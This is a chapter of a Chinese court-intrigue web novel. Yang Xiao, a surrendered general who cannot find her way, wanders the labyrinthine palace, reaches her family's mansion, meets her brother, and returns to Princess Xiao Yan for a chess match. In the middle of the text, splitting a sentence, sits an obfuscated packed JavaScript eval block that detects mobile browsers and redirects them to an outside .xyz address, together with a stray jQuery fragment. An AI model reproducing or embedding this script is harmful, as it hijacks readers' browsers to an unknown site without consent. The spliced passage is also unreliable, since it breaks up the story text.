萧砚一支身坐了起来,穿戴齐整,向门外走着。
推门一望,只见偏院处一道寒光刺入她视线,而后杨筱飞身抡枪上前,一招一式引风而起,地上飘落的黄叶随枪势浮空而起,又纷纷而落。
萧砚不由得驻足观望着,眼前意气风发的杨筱与昨日戒备万分的样子截然不同,她束起的发丝随黄叶一同起起落落,飘扬与空中,身姿与银枪融为一体似的,每一次出击都强劲有力,又灵动自如。
杨筱似是发现了萧砚的视线,她一转枪收了势,向萧砚一抱拳,“能让殿下赏脸观看,在下三生有幸。”
萧砚笑着朝她走过去,“起的挺早啊。”
“还好,习惯了。”杨筱收了枪,望向萧砚,“殿下身旁竟无一个婢女?”
“我这里从不养闲人。”萧砚轻叹一声,“也就是因为没有闲人,今日一大早被兵戈之声吵醒,也只能自己出来看看情况。”
杨筱闻言一笑,“看来我明日要改练拳了。”
“无妨,”萧砚摇摇头,“练枪就好,我若起得早还能出来观摩一二。”她顿了顿,抬头望向杨筱,“伤怎么样了?”
“多谢关心,已经快好全了。”杨筱又是颔首一笑,囫囵着萧砚的问题。
“那便好。”萧砚看着杨筱不愿多言的样子,也不再追问。她立于杨筱身侧,看着慢慢出头的朝阳,“你先去去朱阳殿等我用膳,我随后便到。”
杨筱刚点头转身要走,又忽然停下了脚步。她回头望向萧砚,“朱阳殿……在哪?”
“就是昨夜设宴的地方。”萧砚边拢着头发边往屋内走。
“萧砚,”杨筱出声喊住了她,“找不到。我不认路。”
萧砚闻言,手中的动作不由得一顿。
“你不认路?”萧砚震惊地回头望向她,“那你打仗的时候不是挺会利用地形的?”
杨筱无奈地望向她,“向导官优秀而已。”
萧砚颔首摇摇头,“罢了罢了,你先回房歇着,我让范困带你去周围转转,熟悉熟悉。”
说着,她便回身走入寝殿。杨筱望着她的背影,笑着摇摇头,回身放下长枪,扎稳马步,又操起一套拳法来。
不出片刻,范困如约而至,杨筱一路跟着他,四下张望着,听他滔滔不绝地讲着这些建筑的布设,不由得打了个哈欠。
她揉了揉眼睛,看范困头也不回地往前走着,便渐渐拖慢脚步,趁机拐入岔道之中,自己摸索着。
朱阳殿位于皇宫中心偏东,照这宫中的布设,应当是三座大殿在宫中呈鼎立之势。杨筱一边溜达,一边琢磨着。若是朱阳在东,那么剩余两座殿应当位于西北与西南面了。
杨筱抬头望了一眼远处青色房檐,与一旁的金檐向交映着,暗自点了点头。
看来她的想法没错。
她一路走着,看着遍地相互呼应的房子,不由得叹了口气。这一圈圈的屋子犹如众星捧月般绕着三大主殿,不惜将宫殿原先直来直去的龙脉截断,这皇宫似乎由先前所闻的四平八稳的方形,变成了混沌一片的圆。
整个皇宫似是有了生命一般,各个建筑相互应和,加之以宫内之人进进出出,宛若缭绕烟云中的混沌之棋,无休无止地吐纳着。
杨筱皱了皱眉,身在局中使得她完全看不清真相。她往长安阵边缘处踱着,偌大的皇宫像是找不到尽头。她抬头望了望升到高空的太阳,又回首看了看身后空无一人的街道。放眼望去,房子,房子,还是房子,满目皆是房子,方才走过的三座主殿隐于层层屋脊之后,加上朦胧的云雾,更显深不可测。
若是再向前走,定会引起萧砚的疑心。再怎么路痴,也不可能从主殿跑出去啊。
杨筱这么想着,调头往回返。前方看上去没有一条直路,可中轴一直贯穿其中,从未被遮挡分毫。在这长安阵之中,初来乍到之人定会被阵中之势引得左拐右拐找不到头,却从未注意到隐蔽于道路丛中的中轴线。
弯路成了大道,中轴线反倒成了近路。杨筱颔首一笑,抄着“近道”向三大主殿走去。
不对啊。
杨筱站住了脚步。
若是一个不认路的人在这长安阵里走丢,怎会这么快就找到主殿?杨筱忽然想到什么似的打了个寒战,后背骤然冒出一层冷汗,蛰得伤口火辣辣的疼。
三大主殿为理事所用,那萧砚姐弟俩和重臣定会在周围居住,而这二人理念不和,众臣也站为两队。萧砚手下之人尚且不清楚,而奸佞向来最会抱团取暖……杨筱想到这,思索片刻,抬脚向东侧走去。
她知道,赤霄府一开始便被先帝安置于皇宫之东,从未变过。
杨家自是不可能与奸佞做邻居,而且萧砚刚立基业之时,极为需要受胁迫的杨崧相助。不如……自己就先往那边走,剩下的……
杨筱不觉又停住了脚步,而赤霄府已然在不觉间出现在自己的眼前。她抬头望着不远处恢弘的建筑,不由得愣在了原地。
此地,便是她魂牵梦绕十六年的,杨镇府邸,赤霄府。
“赤霄府……”杨筱不禁将牌匾上的字念出了声。所谓“赤霄”,便是杨镇将军的称号。当年他戍边在外,将不尽的青春与热血浇灌在汉羌两地。而先帝为圆他思乡之梦,也为传天下人对杨镇的钦佩与思慕,便以这都城之苍穹为他命名,为这一远征在外的游子,附上家国之名,好似这长安胜景,与将军之名永世相传。
二十年未见的父亲,就在这府中。二十年未见的血亲只与自己相隔两面墙壁。杨筱心头一颤,迫不及待地想冲入府邸,可双脚如灌了铅一般,动弹不得半分。
她想去,又不敢去。她的心绪仿佛无法承受如此之重量。她站在府前,进也不是,退也不是。朱阳殿定是去不得,再往远走又会招致祸害。
正在踌躇不前之时,院子里传来不知何人奔跑的声音。
“绫玉!”片刻后,杨崧跟着一个小卒带着一身暖意,从院里飞跑到她面前,“这还是我们在这里见的第一面。”说着,便牵着杨筱的手,轻轻揽了揽她的肩,“是殿下让你过来的吗?”
杨筱先是一愣,转而笑着摇了摇头,“非也,兄长,殿下本是叫范困领我去朱阳殿,可半路一不留神,我就与范将军走散了……”
杨崧闻言,惋惜地皱着眉,“我还以为殿下准许你来了……不过此刻也不巧,父亲不在家。”
“什么?”杨筱不由得一愣。
“父亲被萧韫叫去问话了。”杨崧苦笑着按了按杨筱的肩。
“他莫非是怀疑我降心不纯?”杨筱抬眸望着杨崧无奈的眸子,气愤道:“逼我来降又百般质疑,我既然来,定要安心辅佐萧砚,又何谈二心?”
杨崧叹
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16355530|174118||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了口气,安抚似的轻拍着杨筱的背,“这只不过是一个借口罢了。钟离桉势力极纯无比,你应该也深有体会,文武之间从无勾心斗角,向来坦诚相待,万众一心……可这里不一样,阿筱,这里的纷乱远比你想象的多,你曾出使过江南,我只能说,这里,比江南乱的多。”
他俯下身来,语重心长地向杨筱讲道:“我向你保证,你所猜测的,或是你所纠结的,定会在今后的日夜中寻到答案。这也是我为何死心塌地辅佐殿下的原因。”
杨筱望着他诚恳的眼眸,郑重地点了点头,“好,我相信你。”
杨崧也笑着点点头,“既如此,我便随你一同去朱明殿。到时候等殿下准许你与父亲相见,我们家,也算是真正地团圆了。”
兄妹二人启程往朱阳殿走着,而半路发现杨筱跟丢的范困早已魂不附体。周边寻找无果,他智能硬着头皮跑回朱阳殿,将情况如实禀报。
“所以……你把她扔半路自己过来了?”萧砚望着眼前不知所措的范困,同样不知所措地看着他。
“殿下恕罪,此是微臣失职,我这就去派人把她找回来。”范困惭愧地抱了抱拳,转身就要走。
他刚转身,还没走两步,便见小太监快步上前,跪在萧砚面前,“启禀殿下,杨崧将军带着杨筱将军在殿外求见。”
“哦?”萧砚一下子来了兴致,“快请他们进来。”
“嗻。”小太监应声退到门外,一挑帘栊侧身请二人进来。杨崧冲小太监一颔首,大步走向萧砚,尔后躬身施礼,“见过殿下。”
杨筱跟在杨崧身后站定,冲萧砚一点头。萧砚坐起身来笑望着杨筱,“怎么跟着范困还能走丢啊?”
杨筱笑着摇了摇头,“宫中建筑属实精美华贵,没注意多看了会儿,这才跟范将军走散。”
一旁的范困闻言赶忙抱拳道:“微臣办事不力,还望殿下将军恕罪。”
“无妨无妨。”杨筱回头笑着冲他摇了摇头,尔后转眼对上了萧砚探询的目光。
“这也算是误打误撞进了家门啊,”萧砚笑道,“如何,得见令尊了么?”
杨崧摇摇头,无奈道:“家父一大早便被令弟萧大将军唤去,不知所为何事。”
“还有如此之事?”萧砚面色逐渐冷了下来,她抬眼看向杨崧,“叫上陆启一起找他,接老将军回府。他的辈分还没高过我,哪来的权力传唤老将军!”
杨崧颔首抱拳,“得令。”尔后冲萧砚杨筱一点头,带着范困转身离去。
萧砚沉着脸色,直看着二人走出殿外,才回神望向杨筱,“萧韫或是要挑你的刺,你别挂心,我既然留你,自然是完全信任你。”
“多谢抬爱。”杨筱也敛起神色,认真地望向萧砚,却一时不知道该说些什么。
萧砚见状,不由得笑了笑,“我怎么听闻,钟离桉帐下的杨筱将军机敏好动,活泼过人,为何到了我这里便沉默寡言了起来?”
“贵宝地自是有所不同,实在是磨人心性。”杨筱轻笑一声道:“如此势力纷杂丛生,宫中又弯弯绕绕,拢于迷雾之中,不谨慎些怎么能行?”
萧砚闻言也笑了笑,“现在的状况,是你在明,我等在暗。”她颔首沉吟片刻,“这样吧,你我博弈一番,自然会看破这局中之局。”
“来人,”萧砚拍了拍手,“上象棋。”